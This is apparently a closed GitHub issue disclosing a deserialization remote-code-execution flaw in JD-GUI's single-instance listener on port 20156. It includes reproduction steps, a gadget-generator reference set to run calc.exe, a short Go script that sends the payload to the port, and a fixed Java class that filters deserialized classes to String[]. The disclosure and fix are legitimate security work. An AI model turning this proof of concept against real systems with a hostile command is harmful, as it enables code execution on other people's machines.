Closed
Description
RCE Vulnerability in JD-GUI
Description: When user open UIMainWindowPreferencesProvider.singleInstance config and use JDK 8u20/7u21, there will be an RCE vulnerability through deserialization on port 20156.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H (Moderate 6.6)
How to reproduce:
(1) Use single instance config in jd-gui.cfg
<preferences>
<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>
<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>
<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>
</preferences>(2) Start jd-gui using JDK 8u20
"C:\Program Files\Java\jdk1.8.0_20\bin\java.exe" -jar jd-gui-1.6.6.jar(3) Make JDK 8u20 payload
https://github.com/pwntester/JRE8u20_RCE_Gadget
Modify the cmd in ExploitGenerator#main
String command = "calc.exe";Run ExploitGenerator#main to generate payload (exploit.ser)
(4) Send binary data to 20156 port
package main
import (
"fmt"
"net"
"os"
)
func main() {
payload, _ := os.ReadFile("exploit.ser")
conn, err := net.Dial("tcp", "127.0.0.1:20156")
_, err = conn.Write(payload)
buf := make([]byte, 1024*10)
_, err = conn.Read(buf)
if err != nil {
fmt.Println(err)
}
}(5) RCE
Screenshot:
(6) Fix
Use resolveClass method, only support String[]
/*
* Copyright (c) 2008-2019 Emmanuel Dupuy.
* This project is distributed under the GPLv3 license.
* This is a Copyleft license that gives the user the right to use,
* copy and modify the code freely for non-commercial purposes.
*/
package org.jd.gui.util.net;
import org.jd.gui.util.exception.ExceptionUtil;
import java.io.*;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.function.Consumer;
public class InterProcessCommunicationUtil {
static class FilterObjectInputStream extends ObjectInputStream {
public FilterObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
if (classDesc.getName().equals("[Ljava.lang.String;")) {
return super.resolveClass(classDesc);
}
throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));
}
}
protected static final int PORT = 2015_6;
public static void listen(final Consumer<String[]> consumer) throws Exception {
final ServerSocket listener = new ServerSocket(PORT);
Runnable runnable = new Runnable() {
@Override
public void run() {
while (true) {
try (Socket socket = listener.accept();
ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream())) {
// Receive args from another JD-GUI instance
String[] args = (String[])ois.readObject();
consumer.accept(args);
} catch (IOException|ClassNotFoundException e) {
assert ExceptionUtil.printStackTrace(e);
}
}
}
};
new Thread(runnable).start();
}
public static void send(String[] args) {
try (Socket socket = new Socket(InetAddress.getLocalHost(), PORT);
ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
// Send args to the main JD-GUI instance
oos.writeObject(args);
} catch (IOException e) {
assert ExceptionUtil.printStackTrace(e);
}
}
}Screenshot:
Metadata
Metadata
Assignees
Labels
No labels

